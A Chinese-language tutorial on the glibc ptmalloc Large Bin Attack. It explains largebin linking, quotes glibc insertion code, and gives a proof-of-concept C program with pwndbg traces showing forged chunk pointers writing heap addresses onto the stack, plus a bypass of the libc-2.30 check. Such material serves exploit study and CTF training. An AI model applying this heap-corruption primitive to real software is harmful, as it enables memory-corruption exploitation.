Ptmalloc算法:Largebin Attack Large Bin Attack 是一种较为困难的攻击方式,他对攻击的条件要求较多,实现也较为复杂,通常和 Unsorted Bin 打配合来实现 house of storm,来达到提升影响力的作用
libc-2.29 及以下版本,可以利用 Large Bin Attack 来写两个地址
libc-2.30 及以上版本中,只能利用 Large Bin Attack 来写一个地址
Large bin 大于512(1024)字节的 chunk 称之为 large chunk,large bin 就是用于管理这些 large chunk 的
largebin 采用双链表结构,里面的 chunk 从头结点的 fd 指针开始,按大小顺序进行排列
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; };
这个结构中的 fd_nextsize 和 bk_nextsize 来链接到下一个 size 的堆块头部和上一个 size 的堆块头部,然后在相同 size 的堆块内部再通过 fd 和 bk 来进行内部的管理
用 fd_nextsize 和 bk_nextsize 链接的链表为横向链表,用 fd 和 bk 链接的链表为纵向链表
在横向链表中,堆管理器维护一个循环的单调链表,由最大的 size(在这个 index 下的最大 size)作为表头,最小的 size 作为表尾,且首尾相连
largebin 基础知识:
largebin 中一共包括 63 个 bin,index为64~126,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内
largebin 的结构和其他链表都不相同,更加复杂
largebin 里除了有 fd,bk 指针,另外还有 fd_nextsize 和 bk_nextsize 这两个指针
largebin 的插入顺序不再是LIFO或FIFO,而是一种全新的方式
largebin 特性:
按照大小从大到小排序,若大小相同,按照 free 时间排序
若干个大小相同的堆块,只有首堆块的 fd_nextsize
和 bk_nextsize
会指向其他堆块,后面的堆块的 fd_nextsize
和 bk_nextsize
均为 “0”
size 最大的chunk的 bk_nextsize
指向最小的 chunk,size 最小的 chunk 的 fd_nextsize
指向最大的 chunk
下面的代码将解释 largebin 的插入顺序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 if (in_smallbin_range(size)) { victim_index = smallbin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert((bck->bk->size & NON_MAIN_ARENA) == 0 ); if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert((fwd->size & NON_MAIN_ARENA) == 0 ); while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert((fwd->size & NON_MAIN_ARENA) == 0 ); } if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin(av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
发现以下规律:
在纵向列表外部:对应的largebin从大到小组织各个纵向列表
在纵向列表内部:新加入的chunk直接插头,而位于表头的chunk固定不变(除非其余成员全部被申请)
Large Bin Attack LargeBin Attack 就发生在堆块中 UnsortedBin 放入 LargeBin 的过程当中去
1 victim->bk_nextsize->fd_nextsize = victim;
如果我们对 victim->bk_nextsize 进行伪造,那么就可以控制程序写一个堆块地址到目标位置
如果我们可以控制 fwd->bk 位置,那么就可以写一个堆块地址到目标位置
下面就是利用案例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <stdio.h> #include <stdlib.h> #include <assert.h> int main () { unsigned long stack_var1 = 0 ; unsigned long stack_var2 = 0 ; fprintf (stderr , "stack_var1 (%p): %ld\n" , &stack_var1, stack_var1); fprintf (stderr , "stack_var2 (%p): %ld\n\n" , &stack_var2, stack_var2); unsigned long *p1 = malloc (0x420 ); malloc (0x20 ); unsigned long *p2 = malloc (0x500 ); malloc (0x20 ); unsigned long *p3 = malloc (0x500 ); malloc (0x20 ); free (p1); free (p2); malloc (0x90 ); free (p3); p2[-1 ] = 0x3f1 ; p2[0 ] = 0 ; p2[2 ] = 0 ; p2[1 ] = (unsigned long )(&stack_var1 - 2 ); p2[3 ] = (unsigned long )(&stack_var2 - 4 ); malloc (0x90 ); fprintf (stderr , "stack_var1 (%p): %p\n" , &stack_var1, (void *)stack_var1); fprintf (stderr , "stack_var2 (%p): %p\n" , &stack_var2, (void *)stack_var2); return 0 ; }
1 2 3 4 5 6 ➜ 桌面 ./test stack_var1 (0x7fffc5efda80 ): 0 stack_var2 (0x7fffc5efda88 ): 0 stack_var1 (0x7fffc5efda80 ): 0x55ea64ab09a0 stack_var2 (0x7fffc5efda88 ): 0x55ea64ab09a0
可以发现:两个栈地址上被写入了数据,接下来就看看具体的执行过程
“p1”和“p2”刚刚释放时:
1 2 3 unsortedbin all: 0x55555555a360 —▸ 0x55555555a000 —▸ 0x7ffff7dd1b78 (main_arena+88 ) ◂— 0x55555555a360
不出意料的都放入了 unsortedbin ,接下来再进行申请时,ptmalloc就会根据“size”把目标chunk放入对应的bins中:
1 2 3 4 5 6 unsortedbin all: 0x55555555a0a0 —▸ 0x7ffff7dd1b78 (main_arena+88 ) ◂— 0x55555555a0a0 largebins 0x500 : 0x55555555a360 —▸ 0x7ffff7dd1fa8 (main_arena+1160 ) ◂— 0x55555555a360
接下来释放p3,然后修改p2:
1 2 3 unsortedbin all: 0x55555555a8a0 —▸ 0x55555555a0a0 —▸ 0x7ffff7dd1b78 (main_arena+88 ) ◂— 0x55555555a8a0
1 2 3 4 pwndbg> x/20 xg 0x55555555a360 0x55555555a360 : 0x0000000000000000 0x0000000000000511 0x55555555a370 : 0x00007ffff7dd1fa8 0x00007ffff7dd1fa8 0x55555555a380 : 0x000055555555a360 0x000055555555a360
1 2 00 :0000 │ rsp 0x7fffffffdf10 ◂— 0x0 01 :0008 │ 0x7fffffffdf18 ◂— 0x0
1 2 3 4 pwndbg> x/20 xg 0x55555555a360 0x55555555a360 : 0x0000000000000000 0x00000000000003f1 0x55555555a370 : 0x0000000000000000 0x00007fffffffdf00 0x55555555a380 : 0x0000000000000000 0x00007fffffffdef8
1 2 00 :0000 │ rsp 0x7fffffffdf10 —▸ 0x55555555a8a0 ◂— 0x0 01 :0008 │ 0x7fffffffdf18 —▸ 0x55555555a8a0 ◂— 0x0
1 2 stack_var1 (0x7fffffffdf10 ): 0x55555555a8a0 stack_var2 (0x7fffffffdf18 ): 0x55555555a8a0
成功在“stack_var1”和“stack_var2”中写入了“p3”的地址,这就是利用了以下代码:
1 2 victim->bk_nextsize->fd_nextsize = victim; bck->fd = victim;
在“p2”覆盖完毕后,再次申请内存空间的过程中:
1 2 3 4 5 6 pwndbg> x/20 xg 0x55555555b8a0 0x55555555b8a0 : 0x0000000000000000 0x0000000000000511 0x55555555b8b0 : 0x000055555555b360 0x00007fffffffdf00 0x55555555b8c0 : 0x000055555555b360 0x00007fffffffdef8
在前面操作中,p2的size被修改,使得p3成为新的纵向列表头
因为 “p3->size” 大于 “p2->size”,所以p3将插入p2前面
下面的代码都是将解释p3进入largebin后的结构:
1 2 3 4 5 6 7 8 9 10 11 fwd = bck fwd = fwd->fd_nextsize bck = fwd->bk victim->bk = bck victim->fd = fwd victim->bk_nextsize = fwd->bk_nextsize victim->fd_nextsize = fwd
最后解释一下“stack_var1”和“stack_var2”被修改的原因:
1 2 3 4 5 6 7 fwd->bk_nextsize = victim victim->bk_nextsize->fd_nextsize = victim fwd->bk = victim bck->fd = victim
1 2 3 4 5 6 7 01 :0008 │ 0x7fffffffdef8 ◂— 0x0 02 :0010 │ r8 0x7fffffffdf00 —▸ 0x7fffffffdf40 —▸ 0x555555555330 (__libc_csu_init) ◂— endbr64 03 :0018 │ 0x7fffffffdf08 —▸ 0x5555555552c6 (main+316 ) ◂— mov rax, qword ptr [rbp - 0x30 ]04 :0020 │ rsp 0x7fffffffdf10 —▸ 0x55555555b8a0 ◂— 0x0 05 :0028 │ 0x7fffffffdf18 —▸ 0x55555555b8a0 ◂— 0x0
1 2 3 4 pwndbg> x/20 xg 0x55555555b360 0x55555555b360 : 0x0000000000000000 0x00000000000003f1 0x55555555b370 : 0x0000000000000000 0x000055555555b8a0 0x55555555b380 : 0x0000000000000000 0x000055555555b8a0
libc-2.30 的检测 1 2 if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" );
在 glibc2.29 中,增加了对双向链表完整性的检查,这样的检查方式正如同 glibc2.29 中增加的对 unsorted bin 类似,但是与其不同的是,这个检查只存在于插入的 unsorted chunk size 大于 chunk 时候,也就是说, 如果我们构造一个小于所有 largebin 中堆块的 unsorted chunk,那么就可以成功利用上面那个分支操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 if ((unsigned long )(size) < (unsigned long )chunksize_nomask(bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert(chunk_main_arena(fwd)); while ((unsigned long )size < chunksize_nomask(fwd)) { fwd = fwd->fd_nextsize; assert(chunk_main_arena(fwd)); } if ((unsigned long )size == (unsigned long )chunksize_nomask(fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely(fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr("malloc(): largebin double linked list corrupted (bk)" ); }